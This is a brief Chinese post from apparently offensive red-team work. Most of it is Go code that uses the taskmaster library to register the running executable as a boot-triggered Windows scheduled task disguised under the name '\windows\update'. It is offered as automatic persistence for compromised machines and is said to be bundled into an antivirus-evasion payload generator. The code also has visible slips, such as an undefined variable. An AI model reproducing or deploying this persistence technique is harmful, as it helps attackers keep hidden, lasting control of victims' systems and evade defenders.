在攻防中,上线机器总是需要手动进行维权,太过于麻烦,何不直接上线即维权呢,直接放核心代码,当做个记录
https://github.com/capnspacehook/taskmaster
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package main
import ( "os"
"github.com/capnspacehook/taskmaster" )
func runWinTask(path string) { taskService, _ := taskmaster.Connect()
defer taskService.Disconnect() newTaskDef := taskService.NewTaskDefinition() newTaskDef.AddAction(taskmaster.ExecAction{ Path: path, }) newTaskDef.AddTrigger(taskmaster.BootTrigger{ TaskTrigger: taskmaster.TaskTrigger{ Enabled: enable, }, })
result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true) result=result }
func main() { path, err := os.Executable() if err != nil { return }
runWinTask(path) }
|
管理员权限下自动维权,分为自身维权和迁移路径维权版本,已集合至千机免杀一键生成